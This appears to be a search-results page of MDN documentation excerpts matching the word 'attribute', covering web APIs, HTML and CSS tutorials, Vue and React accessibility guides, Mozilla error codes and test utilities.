attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements box, hbox ...
nsIContentPolicy - Archive of obsolete content
y the refresh will go through shouldload() as expected). shouldprocess() will get this for, for example <meta> refresh elements and http refresh headers. type_xbl 9 indicates an xbl binding request, triggered either by -moz-binding css property or the document.addbinding() method. type_ping 10 indicates a ping triggered by a click on an <a> element using the ping
attribute. type_xmlhttprequest 11 indicates an xmlhttprequest. also used for document.load() type_object_subrequest 12 indicates a request by a plugin. type_dtd 13 indicates a dtd loaded by an xml document. type_font 14 indicates a font loaded via @font-face rule. type_media 15 indicates a video or audio load. type_websocke...
... content security policy report. type_xslt 18 indicates a style sheet transformation. type_beacon 19 indicates a beacon post. type_fetch 20 indicates a load initiated by the globalfetch.fetch() method, which is available as a global in both window and worker contexts. type_imageset 21 indicates a request to load an <img> (with the srcset
attribute or <picture>. type_web_manifest 22 indicates a request to load a web manifest. type_internal_script 23 an internal constant used to represent scripts loaded using <script> elements. important: this type is mapped to type_script before being passed to content policy implementations, and should not be used outside gecko core code. type_...
...ion should be loaded. this method is called before loading the resource specified by acontentlocation to determine whether or not to start loading the requested resource. shouldload() can be called while the dom and layout of the document involved is in an inconsistent state. this means that implementers of this method must not do any of the following: modify the dom in any way (e.g., setting
attributes is a no-no). query any dom properties that depend on layout (e.g., offset* properties). query any dom properties that depend on style (e.g., computed style). query any dom properties that depend on the current state of the dom outside the "context" node (e.g., lengths of node lists). [javascript implementations only] access properties of any sort on any object without using xpcnativewrapper ...
...be null if inapplicable. note: acontext is the new tab/window when a user uses the context menu to open a link in a new tab/window or cmd/ctrl + clicks the link (i.e., acontext is not the tab which the link was on in these cases). amimetypeguess optional. a guess for the requested content's mime type, based on information available to the request initiator (e.g., an object's type
attribute); does not reliably reflect the actual mime type of the requested content. aextra an optional argument, pass-through for non-gecko callers to pass extra data to callees. arequestprincipal optional. defines the principal that caused the load. this is optional only for non-gecko code: all gecko code should set this argument. for navigation events, this is the principal of the page that cause...
Writing JavaScript for XHTML - Archive of obsolete content
xt/css"><!--/*--><![cdata[/*><!--*/ ... /*]]>*/--></style> see this document for more on the issues related to application/xhtml+xml and text/html (at least as far as xhtml 1.* and html 4; html5 addresses many of these problems). problem: names in xhtml and html are represented in different cases scripts that used getelementsbytagname() with an upper case html name no longer work, and
attributes like nodename or tagname return upper case in html and lower case in xhtml. solution: use or convert to lower case for methods like getelementsbytagname(), passing the name in lower case will work in both html and xhtml. for name comparisons, first convert to lower case before doing the comparison (e.g., "el.nodename.tolowercase() === 'html'"). this will ensure that documents in html will comp...
...es not exist in xmldocuments anymore. there are reasons why this decision was made, one being that a string of invalid markup will instantly break the whole document. solution: use dom methods many people avoided dom methods because of the typing to create one simple element, when document.write() worked. now you can't do this as easily as before. use dom methods to create all of your elements,
attributes and other nodes. this is xml proof, as long as you keep the namespace problem in focus (e.g., there is a document.createelementns method). of course, you can still use strings like in document.write(), but it takes a little more effort. for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser = new domparser(); var documentfragment = parser.p...
...); var documentfragment = parser.parsefromstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error. problem: i want to remain forward compatible! given the direction away from formatting
attributes and the possibility of xhtml becoming eventually more prominent (or at least the document author having the possibility of later wanting to make documents available in xhtml for browsers that support it), one may wish to avoid features which are not likely to stay compatible into the future. solution: avoid html-specific dom the html dom , even though it is compatible with xhtml 1.0, is not gu...
...wanting to make documents available in xhtml for browsers that support it), one may wish to avoid features which are not likely to stay compatible into the future. solution: avoid html-specific dom the html dom , even though it is compatible with xhtml 1.0, is not guaranteed to work with future versions of xhtml (perhaps especially the formatting properties which have been deprecated as element
attributes). the regular xml dom provides sufficient methods via the element interface for getting/setting/removing
attributes. problem: my favourite js library still breaks if you use javascript libraries like the famous prototype.js or yahoo's one, there is bad news for you: as long as the developers don't apply the fixes mentioned above, you won't be able to use them in your xml-xhtml applications. t...
XForms Trigger Element - Archive of obsolete content
actually, the trigger element doesn't interact with the data in the bound node. ...
...actually, the trigger element doesn't interact with the data in the bound node. ...
...can be bound to a node containing data of any type. actually, the trigger element doesn't interact with the data in the bound node. however, relevant model item property on the bound node has an effect on a trigger. if the bound node is irrelevant, then the trigger will be hidden. representations the xforms trigger element can be represented by the following widgets for the specified appearance
attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul). characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable text xforms authors can use this representation if they want to have a widget like a xhtml anchor ...
... ...
Mozilla XForms User Interface - Archive of obsolete content
" elements exist to aid form authors in combining host language markup and xforms markup together in order to build user interfaces. some of the 'form controls' can have multiple appearances and thus may be rendered in multiple ways. we use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. the form author can also use the 'appearance'
attribute on the form control to give us another clue. for example, a xforms input control may appear as a text field or as a datepicker depending on whether it is bound to a xsd:string type or a xsd:date type. when a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. an output bound to a date and also having @appearance='full' will display as a calendar. this ar...
...oduced in xforms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. for instance, when the spec reaches 'recommendation'-level status. if you see xhtml/xul then it means the control is available when xforms is hosted in either xhtml or xul. similarly, if you see xhtml only or xul only, then it means the control is available only in that host language.
attribute sets this section describes
attributes that are often used on xforms elements. these
attributes are combined into following logical groups. ui common the ui common
attribute set (see the spec) contains the
attributes that are available for the xforms elements that are used to build the user interface presentation in a form. appearance - the value provided by the form author gives a hint to the...
... to represent the xforms control. three possible values are available to the author: minimal, compact and full. generally speaking, the main purpose for these values is to reflect how much space (screen real estate) the displayed widget will take. tabindex - defines the keyboard navigation sequence between controls. accesskey - keyboard shortcut for moving focus to an xforms element. binding
attributes single-node (see the spec) and node-set (see the spec)
attributes are used to bind xforms elements to instance nodes. these
attributes are: ref, nodeset, model and bind. xforms elements almost every xforms element can be presented as one of serveral different kinds of widgets. this section contains a short description of each xforms element and its representation. the xforms specification offers...
...ch xforms element and its representation. the xforms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the mozilla xforms processor. the choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. the form author can also influence the widget by using the appearance
attribute on the element. form controls module this section contains a short description for each form control element. input a key xforms element to show and change the instance data to which it is bound. usually bound to data that can be well-represented by a string (see the spec). it can have the following representations: text field - default representation. used for most data types, especially text...
Gecko FAQ - Gecko Redirect 1
r finished products. ...
...s. ...
...d open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont
attributes: shape
attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary, event, dir, align on table columns, label
attribute of option, alternate text of area elements, longdesc various metadata
attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, except for: the application of styles to html column elements the ability to turn off auth...
...n extrapolates this provision to apply to entityreferences as well for more information, see the dom in mozilla level 1 html dom 2 - most of it has already been implemented in gecko, including support for dom 2 events, the dom 2 style, and the dom2 core. dom 3 support is also planned for a future release. ...
Accessible multimedia - Learn web development
to understand the accessibility issues behind multimedia, and how to overcome them. multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria
attributes). this article on the other hand looks at another general class of content that arguably isn't as easy to ensure accessibility for — multimedia. images, videos, <canvas> elements, flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyboard, and we need to give them a helping hand. but don't despair — here we will help you navigate through the techniques av...
...type="audio/ogg"> <p>your browser doesn't support html5 audio. here is a <a href="viper.mp3">link to the audio</a> instead.</p> </audio> <br> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> the controls
attribute provides play/pause buttons, seek bar, etc. — the basic controls you'd expect from a media player. it looks like so in firefox and chrome: however, there are problems with these controls: they are not keyboard accessible in most browsers, i.e. you can't tab between the controls inside the native player. opera and chrome provide this to some degree, but it still isn't ideal. different b...
...'video'); this holds a reference to a htmlmediaelement object, which has several useful properties and methods available on it that can be used to wire up functionality to our buttons. before moving onto creating our button functionality, let's remove the native controls so they don't get in the way of our custom controls. add the following, again at the bottom of your javascript: player.remove
attribute('controls'); doing it this way round rather than just not including the controls
attribute in the first place has the advantage that if our javascript fails for any reason, the user still has some controls available. wiring up our buttons first, let's set up the play/pause button. we can get this to toggle between play and pause with a simple conditional function, like the following. add it to...
...his: webvtt 1 00:00:22.230 --> 00:00:24.606 this is the first subtitle. 2 00:00:30.739 --> 00:00:34.074 this is the second. ... to get this displayed along with the html media playback, you need to: save it as a .vtt file in a sensible place. link to the .vtt file with the <track> element. <track> should be placed within <audio> or <video>, but after all <source> elements. use the kind
attribute to specify whether the cues are subtitles, captions, or descriptions. furthermore, use srclang to tell the browser what language you have written the subtitles in. here's an example: <video controls> <source src="example.mp4" type="video/mp4"> <source src="example.webm" type="video/webm"> <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> </video> this will result in a video t...
Cascade and inheritance - Learn web development
ple rules have different selectors, but could still apply to the same element. it is basically a measure of how specific a selector's selection will be: an element selector is less specific — it will select all elements of that type that appear on a page — so will get a lower score. a class selector is more specific — it will select only the elements on a page that have a specific class
attribute value — so will get a higher score. example time! below we again have two rules that could apply to the h1. the below h1 ends up being colored red — the class selector gives its rule a higher specificity, and so it will be applied even though the rule with the element selector appears further down in the source order. we'll explain specificity scoring and other such things later on. in...
...ing these up gives you the weight of that particular selector, which can then be assessed against other potential matches. the amount of specificity a selector has is measured using four different values (or components), which can be thought of as thousands, hundreds, tens and ones — four single digits in four columns: thousands: score one in this column if the declaration is inside a style
attribute, aka inline styles. such declarations don't have selectors, so their specificity is always simply 1000. hundreds: score one in this column for each id selector contained inside the overall selector. tens: score one in this column for each class selector,
attribute selector, or pseudo-class contained inside the overall selector. ones: score one in this column for each element selector or pseudo...
... the mdn selectors reference. selector thousands hundreds tens ones total specificity h1 0 0 0 1 0001 h1 + p::first-letter 0 0 0 3 0003 li > a[href*="en-us"] > .inline-warning 0 0 2 2 0022 #identifier 0 1 0 0 0100 no selector, with a rule inside an element's style
attribute 1 0 0 0 1000 before we move on, let's look at an example in action. so what's going on here? first of all, we are only interested in the first seven rules of this example, and as you'll notice, we have included their specificity values in a comment before each one. the first two selectors are competing over the styling of the link's background color — the second one...
...find tricky. we'd advise that you return to this article a few times as you continue through the course, and keep thinking about it. refer back here if you start to come across strange issues with styles not applying as expected. it could be a specificity issue. ...
HTML forms in legacy browsers - Learn web development
build something for a modern browser, and you want to be sure it will work, one way or another, on legacy browsers, you are performing graceful degradation. let's see some examples related to html forms. html input types the input types added in html5 are all useable, even in ancient browsers, because the way they degrade is highly predictable. ...
...predictable. if a browser does not know the value of the type
attribute of an <input> element, it will fall back as if the value were text. ...
...ll come the closest to restoring default rendering, when supported. */ border: revert; } see the global css revert value for more information. <button> the <button> element suffered from two issues that are now resolved: a bug in old versions of internet explorer sent the html content available between the starting and ending tag of the <button> element instead of the content of the value
attribute when clicked. this was only an issue if that value needed to be sent, such as when data processing depends on which button a user clicked. some very old browsers did not use submit as the default value for the type
attribute. while resolved in all modern browsers, it is still recommended to always set the type
attribute on <button> elements. <!-- clicking this button sent "<em>do a</em>" inste...
...ol because altering one css property value may alter some input types but not others. for example, if you declare input { font-size: 2rem; }, it will impact number, date, and text, but not color or range. if you alter a property, that may impact the appearance of the widget in unexpected ways. for example, [value] { background-color: #ccc; } may have been used to target every <input> with a value
attribute, but changing the background-color or border radius on a <meter> will lead to likely unexpected results that differ across browsers. you can declare appearance: none; to remove the browser styles, but that generally defeats the purpose: as you lose all styling, removing the default look and feel your visitors are used to. to summarize, when it comes to styling form control widgets, the side eff...
Tips for authoring fast-loading HTML pages - Learn web development
default, imags are loaded eagerly; that is, the image is fetched and rendered as soon as it's processed in the html. all eagerly loaded images are rendered before the document's load event is sent. switching to lazy loading of images tells the browser to hold off on loading images until they're about to be needed to draw the visual viewport. to mark an image for lazy loading, specify its loading
attribute with a value of lazy. with this set, the image will only be loaded when it's needed. <img href="./images/footerlogo.jpg" loading="lazy"> note that lazily-loaded images may not be available when the load event is fired. you can determine if a given image is loaded by checking to see if the value of its boolean complete property is true. choose your user-agent requirements wisely to achieve the...
...ersions of firefox, internet explorer, google chrome, opera, and safari. note, however, that many of the tips listed in this article are common-sense techniques which apply to any user agent, and can be applied to any web page, regardless of browser-support requirements. ...
...if you already follow all javascript best practices, there is no need to change your code. ...
...if you already follow all javascript best practices, there is no need to change your code. example page structure · <html> · <head> · <link> ... ...
Advanced text formatting - Learn web development
res available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation. blockquotes if a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a <blockquote> element to signify this, and include a url pointing to the source of the quote inside a cite
attribute. for example, the following markup is taken from the mdn <blockquote> element page: <p>the <strong>html <code><blockquote></code> element</strong> (or <em>html block quotation element</em>) indicates that the enclosed text is an extended quotation.</p> to turn this into a block quote, we would just do this: <p>here below is a blockquote...</p> <blockquote cite="/docs/web/html/element/bl...
... element. for example, the below bit of markup contains a quotation from the mdn <q> page: <p>the quote element — <code><q></code> — is <q cite="/docs/web/html/element/q">intended for short quotations that don't require paragraph breaks.</q></p> browser default styling will render this as normal text put in quotes to indicate a quotation, like so: citations the content of the cite
attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. there is no way to get the browser to display the contents of cite, without writing your own solution using javascript or css. if you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way. there is a <cite> elemen...
.../docs/web/html/element/q">intended for short quotations that don't require paragraph breaks.</q> -- <a href="/docs/web/html/element/q"> <cite>mdn q page</cite></a>.</p> citations are styled in italic font by default. active learning: who said that? time for another active learning example! in this example we'd like you to: turn the middle paragraph into a blockquote, which includes a cite
attribute. turn "the need to eliminate negative self talk" in the third paragraph into an inline quote, and include a cite
attribute. wrap the title of each source in <cite> tags and turn each one into a link to that source. the citation sources you need are: http://www.brainyquote.com/quotes/authors/c/confucius.html for the confucius quote http://www.affirmationsforpositivethinking.com for "the ne...
...not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; abbreviations another fairly common element you'll meet when looking around the web is <abbr> — this is used to wrap around an abbreviation or acronym, and provide a full expansion of the term (included inside a title
attribute.) let's look at a couple of examples: <p>we use <abbr title="hypertext markup language">html</abbr> to structure our web documents.</p> <p>i think <abbr title="reverend">rev.</abbr> green did it in the kitchen with the chainsaw.</p> these will come out looking something like this (the expansion will appear in a tooltip when the term is hovered over): note: there is another element, <acro...
What’s in the head? Metadata in HTML - Learn web development
eriment with character encoding to try this out, revisit the simple html template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to iso-8859-1, and add the japanese to your page. this is the code we used: <p>japanese example: ご飯が熱い。</p> adding an author and description many <meta> elements include name and content
attributes: name specifies the type of meta element it is; what type of information it contains. content specifies the actual meta content. two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. let's look at an example: <meta name="author" content="chris mills"> <meta name="description" content="the mdn web docs l...
...o html just about all websites you'll use in the modern day will employ css to make them look cool, and javascript to power interactive functionality, such as video players, maps, games, and more. these are most commonly applied to a web page using the <link> element and the <script> element, respectively. the <link> element should always go inside the head of your document. ...
...he <script> element, respectively. the <link> element should always go inside the head of your document. this takes two
attributes, rel="stylesheet", which indicates that it is the document's stylesheet, and href, which contains the path to the stylesheet file: <link rel="stylesheet" href="my-css-file.css"> the <script> element should also go into the head, and should include a src
attribute containing the path to the javascript you want to load, and defer, which basically instructs the browser to load the javascript at the same time as the page's html. this is useful as it makes sure that the html is all loaded before the javascript runs, so that you don't get errors resulting from javascript trying to access an html element that doesn't exist on the page yet. there are actually a n...
...e red bar with the black border is the styling the css has added to the js-generated list.) note: if you get stuck in this exercise and can't get the css/js to apply, try checking out our css-and-js.html example page. setting the primary language of the document finally, it's worth mentioning that you can (and really should) set the language of your page. this can be done by adding the lang
attribute to the opening html tag (as seen in the meta-example.html and shown below.) <html lang="en-us"> this is useful in many ways. your html document will be indexed more effectively by search engines if its language is set (allowing it to appear correctly in language-specific results, for example), and it is useful to people with visual impairments using screen readers (for example, the word "six" e...
Accessibility in React - Learn web development
constants beneath the hooks in your todo() function. each should be a ref – one for the "edit" button in the view template and one for the edit field in the editing template. const editfieldref = useref(null); const editbuttonref = useref(null); these refs have a default value of null because they will not have value until we attach them to their respective elements. to do that, we'll add an
attribute of ref to each element, and set their values to the appropriately named ref objects. the textbox <input> in your editing template should be updated like this: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} ref={editfieldref} /> the "edit" button in your view template should read like this: <button type="button" classname="btn" ...
......
...e. this isn't a problem — we can make any element programmatically focusable by adding the
attribute tabindex="-1" to it. this means only focusable with javascript. you can't press tab to focus on an element with a tabindex of -1 the same way you could do with a <button> or <a> element (this can be done using tabindex="0", but that's not really appropriate in this case). let's add the tabindex
attribute — written as tabindex in jsx — to the heading above our list of tasks, along with our headingref: <h2 id="list-heading" tabindex="-1" ref={listheadingref}> {headingtext} </h2> note: the tabindex
attribute is great for accessibility edge-cases, but you should take great care to not overuse it. only apply a tabindex to an element when you're absolutely sure that making it focusable will be...
...e absolutely sure that making it focusable will benefit your user in some way. in most cases, you should be utilizing elements that can naturally take focus, such as buttons, anchors, and inputs. irresponsible usage of tabindex could have a profoundly negative impact on keyboard and screen-reader users! getting previous state we want to focus on the element associated with our ref (via the ref
attribute) only when our user deletes a task from their list. that's going to require the useprevious() hook we already used earlier on. add it to the top of your app.js file, just below the imports: function useprevious(value) { const ref = useref(); useeffect(() => { ref.current = value; }); return ref.current; } now add the following, above the return statement inside the app() function: ...
Getting started with Vue - Learn web development
nstallation to use vue in an existing site, you can drop one of the following <script> elements onto a page. this allows you to start using vue on existing sites, which is why vue prides itself on being a progressive framework. this is a great option when migrating an existing project using a library like jquery to vue. with this method, you can use a lot of the core features of vue, such as the
attributes, custom components, and data-management. development script (unoptimized, but includes console warnings. great for development <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> production script (optimized version, minimal console warnings. it is recommended that you specify a version number when including vue on your site so that any framework updates do not br...
... three parts: <template>, <script>, and <style>, which contain the component’s template, scripting, and styling information. all single file components share this same basic structure. <template> contains all the markup structure and display logic of your component. your template can contain any valid html, as well as some vue-specific syntax that we'll cover later. note: by setting the lang
attribute on the <template> tag, you can use pug template syntax instead of standard html — <template lang="pug">. we'll stick to standard html through this tutorial, but it is worth knowing that this is possible. <script> contains all of the non-display logic of your component. most importantly, your <script> tag needs to have a default exported js object. this object is where you locally register com...
...ry component file that uses them. this can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component. import helloworld from './components/helloworld.vue'; export default { name: 'app', components: { //you can register components locally here. helloworld } }; note: if you want to use typescript syntax, you need to set the lang
attribute on the <script> tag to signify to the compiler that you're using typescript — <script lang="ts">. <style> is where you write your css for the component. if you add a scoped
attribute — <style scoped> — vue will scope the styles to the contents of your sfc. this works similar to css-in-js solutions, but allows you to just write plain css. note: if you select a css pre-processor when crea...
...for example, <style lang="scss"> will allow you to use scss syntax in your styling information. running the app locally the vue cli comes with a built-in development server. ...
Adding a new todo form: Vue events, methods, and models - Learn web development
o add an onsubmit() method to a methods property inside the todoform component object. we'll use this to handle the submit action. add this like so: export default { methods: { onsubmit() { console.log('form submitted') } } } next we need to bind the method to our <form> element's submit event handler. much like how vue uses the v-bind syntax for binding
attributes, vue has a special directive for event handling: v-on. the v-on directive works via the v-on:event="method" syntax. and much like v-bind, there’s also a shorthand syntax: @event="method". we'll use the shorthand syntax here for consistency. add the submit handler to your <form> element like so: <form @submit="onsubmit"> when you run this, the app still posts the data to the server...
...rn { label: "" }; } }; we now need some way to attach the value of the new-todo-input <input> field to the label field. vue has a special directive for this: v-model. v-model binds to the data property you set on it and keeps it in sync with the <input>. v-model works across all the various input types, including check boxes, radios, and select inputs. to use v-model, you add an
attribute with the structure v-model="variable" to the <input>. so in our case, we would add it to our new-todo-input field as seen below. do this now: <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" v-model="label" /> note: you can also sync data with <input> values through a combination of events and v-bind
attributes. in fact, this is what v-model does be...
...<input>. so in our case, we would add it to our new-todo-input field as seen below. do this now: <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" v-model="label" /> note: you can also sync data with <input> values through a combination of events and v-bind
attributes. in fact, this is what v-model does behind the scenes. however, the exact event and
attribute combination varies depending on input types and will take more code than just using the v-model shortcut. let's test out our use of v-model by logging the value of the data submitted in our onsubmit() method. in components, data
attributes are accessed using the this keyword. so we access our label field using this.label. update your onsubmit() method to look like this: methods: { ...
...ter every keystroke. the .lazy modifier causes v-model to use the change event instead. this means that vue will only sync data when the input loses focus or the form is submitted. for our purposes, this is much more reasonable since we only need the final data. to use both the .lazy modifier and the .trim modifier together, we can chain them, e.g. v-model.lazy.trim="label". update your v-model
attribute to chain lazy and trim as shown above, and then test your app again. try for example, submitting a value with whitespace at each end. passing data to parents with custom events we now are very close to being able to add new to-do items to our list. the next thing we need to be able to do is pass the newly-created to-do item to our app component. to do that, we can have our todoform emit a custo...
Styling Vue components with CSS - Learn web development
ist is now in a card, and we have some better formatting of our to-do items. now we can go through and begin editing our components to use some of these styles. adding css classes in vue we should apply the button css classes to the <button> in our todoform component. since vue templates are valid html, this is done in the same way to how you might do it in plain html — by adding a class=""
attribute to the element. add class="btn btn__primary btn__lg" to your form’s <button> element: <button type="submit" class="btn btn__primary btn__lg"> add </button> while we're here, there's one more semantic and styling change we can make. since our form denotes a specific section of our page, it could benefit from an <h2> element. the label, however, already denotes the purpose of the form. to av...
...-labelledby="list-summary" class="stack-large"> adding scoped styles the last component we want to style is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. ...
...d styles the last component we want to style is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. ...
...tside of this component, it could be challenging to track down the styles responsible, and fix the problem. this is where the scoped
attribute can be useful — this attaches a unique html data
attribute selector to all of your styles, preventing them from colliding globally. ...
Error codes returned by Mozilla APIs
r if a previous attempt to write to the file had failed. this error may be returned by various components that use files to indicate that necessary files are not in an expected format. ns_error_file_not_directory (0x8052000c) this error will occur if an attempt was made to perform an operation on a file that is only valid for a directory. this error can be caused by the directoryentries nsifile.
attributes
attribute. ns_error_file_is_directory (0x8052000d) this error will occur if an attempt was made to perform an operation on a directory that is only valid for files. ns_error_file_is_locked (0x8052000e) this error indicates that a file cannot be accessed because it is locked, typically because the file is already being used by another application. ns_error_file_too_big (0x8052000f) this err...
... instance, a node cannot be inserted into a descendant of itself. ns_error_dom_wrong_document_err (0x80530004) an operation was performed on a document involving a node that was created in a different document. the document.importnode method may need to be used to import the node into the document first. ns_error_dom_invalid_character_err (0x80530005) an invalid character was used in a tag or
attribute name. ns_error_dom_no_data_allowed_err (0x80530006) ns_error_dom_no_modification_allowed_err (0x80530007) this error can occur when an attempt is made to modify an aspect of an object that cannot be changed. ns_error_dom_not_found_err (0x80530008) a node was not found. for example, an attempt was made to use the element.insertbefore method to insert a node before one that is not a child. ...
... (0x80530007) this error can occur when an attempt is made to modify an aspect of an object that cannot be changed. ns_error_dom_not_found_err (0x80530008) a node was not found. for example, an attempt was made to use the element.insertbefore method to insert a node before one that is not a child. ns_error_dom_not_supported_err (0x80530009) the operation is not supported. ns_error_dom_inuse_
attribute_err (0x8053000a) ns_error_dom_invalid_state_err (0x8053000b) an attempt was made to use an object which is no longer usable. ns_error_dom_syntax_err (0x8053000c) an
attribute value or property was set to an invalid value. ns_error_dom_invalid_modification_err (0x8053000d) an attempt was made to modify the type of the
attribute. ns_error_dom_namespace_err (0x8053000e) a namespace was no...
..._info (0x80570025) ns_error_xpc_not_enough_chars_in_string (0x80570026) ns_error_xpc_security_manager_veto (0x80570027) ns_error_xpc_interface_not_scriptable (0x80570028) ns_error_xpc_interface_not_from_nsisupports (0x80570029) ns_error_xpc_cant_get_jsobject_of_dom_object (0x8057002a) ns_error_xpc_cant_set_read_only_constant (0x8057002b) ns_error_xpc_cant_set_read_only_
attribute (0x8057002c) ns_error_xpc_cant_set_read_only_method (0x8057002d) ns_error_xpc_cant_add_prop_to_wrapped_native (0x8057002e) ns_error_xpc_call_to_scriptable_failed (0x8057002f) ns_error_xpc_jsobject_has_no_function_named (0x80570030) ns_error_xpc_bad_id_string (0x80570031) ns_error_xpc_bad_initializer_name (0x80570032) ns_error_xpc_has_been_shutdown (0x80570033) ns_e...
Widget Wrappers
appers which provide information about the widget across all windows, and 'single' wrappers which provide information about a specific instance in a specific window. group wrapper methods forwindow() a method to obtain a single window wrapper for a widget, in the window awindow passed as the only argument. properties all of a wrapper's properties are read-only unless otherwise indicated.
attribute description id the widget's id type the type of widget (button, view, custom). for xul-provided widgets, this is always 'custom' provider the provider type of the widget, id est one of provider_api or provider_xul instances an array of all instances (single window wrappers) of the widget. this array is not live. areatype the type of t...
... widgets' nodes' disabled states label for api-provided widgets, the label of the widget tooltiptext for api-provided widgets, the tooltip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated.
attribute description id the widget's id type the type of widget (button, view, custom). for xul-provided widgets, this is always 'custom' provider the provider type of the widget, id est one of provider_api or provider_xul node reference to the corresponding dom node anchor the anchor on which to anchor panels opened from this node. this will ...
...note that you may prefer to use the group wrapper's getter/setter instead. ...
...note that you may prefer to use the group wrapper's getter/setter instead. ...
OS.File.Info
lue) os.file.tomsg convert an instance of os.file.info to a form that can be serialized and transmitted between threads or processes. object tomsg( in os.file.info value ) arguments returns an object with the same fields as value but that may be serialized and transmitted between threads or processes. value an instance of os.file.info. instances of os.file.info cross-platform
attributes isdir true if the file is a directory, false otherwise. issymlink true if the false is a symbolic link, false otherwise. (as of firefox 38 this is always true on all systems, this is a bug: bugzilla 1145885) (on windows this returns false for hard links) size the number of bytes in the file. creationdate deprecated in bugzilla :: bug 807875. befor...
...s implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascript date object. note that the definition of last access may depend on the underlying operating system and file system. lastmodificationdate the date at which the file was last modified, as a javascript date object. platform-specific
attributes unix unixowner a number holding the identifier of the unix owner of this file. unixgroup a number holding the identifier of the unix group of this file. unixmode a number holding the unix access rights to this file. unixlaststatuschangedate date. this is the date of the latest write/renaming/mode change/... where ... is any write/set of inode inf...
...ber holding the unix access rights to this file. unixlaststatuschangedate date. this is the date of the latest write/renaming/mode change/... where ... is any write/set of inode information (such as owner, group, link count, mode, etc). windows winbirthdate a date representing the time at which the file was created. may not be exact on all file systems. ...
...le was created. may not be exact on all file systems. win
attributes hidden boolean readonly boolean system boolean macos x macbirthdate a date representing the time at which the file was created. may not be exact on all file systems. ...
AsyncTestUtils extended framework
stener (predefined). if you need to wrap an existing url listener or need a callback or fancy promise, create an instance of asyncurllistener. copy listener: asynccopylistener. bringing messages into the picture synthetic set definitions most of the code involved in creating synthetic messages takes an object that defines how to generate the set. the following is a list of frequently used
attributes where the default value is listed after the
attribute name. there are more
attributes you can specify; consult the documentation for more information. (see the bottom of this page for links to the source files.) count: 10 the number of messages that should be in the set. note that the default is subject to change, so if you want 10, say 10, instead of relying on the default. msgsperthread: ...
...direct reply-chain that long. for example, if you pass 3, then 1 <- 2 <- 3 is what the reply chain looks like. if you need more complicated threads you will need to use the messagescenariofactory. age: (strictly incrementing from arbitrary origin) the default starts at jan 1, 2000 and adds an hour for every message. if you pass an object, it should be an object with one or more of the following
attributes: minutes, hours, days, weeks. these
attributes specify how old the message should be. for example, {weeks: 2, days: 3} would be a message sent exactly 17 days ago. if you pass age, you should also pass age_incr. age_incr: (no increment) takes an object of the same style taken by age. this specifies the time interval we should add to the date for each message. due to a bug, you should pass nega...
...es to the syntheticmessage instances, but it also tracks what folders they were injected into as well as what folders you move them to. this allows you to get at the nsimsgdbhdr instances directly. keep in mind that the class is not magic and will lose track of the message headers if you manipulate them without referencing the message set. accessing synthetic messages and headers synmessages [
attribute] the js list of syntheticmessages held in the set. while you should not modify this list, you can get its length and read from it. getmsghdr(aindex) [function] retrieve the nsimsgdbhdr at the given index. getmsguri(aindex) [function] retrieve the uri of the message header at the given index. msghdrlist [getter] return a js list with all the nsimsgdbhdrs for the messages that have been inje...
...ertosearch2, ...], {subject: "", body: "", from: "", to: "", cc: "", recipient: "", involves: ""}, aandtermstogether, aoptionalname); this is a convenience function to help you create a new virtual folder. the first argument is the list of folders we should search. the second argument defines the search query; each
attribute defines a "contains" string constraint. if you include the
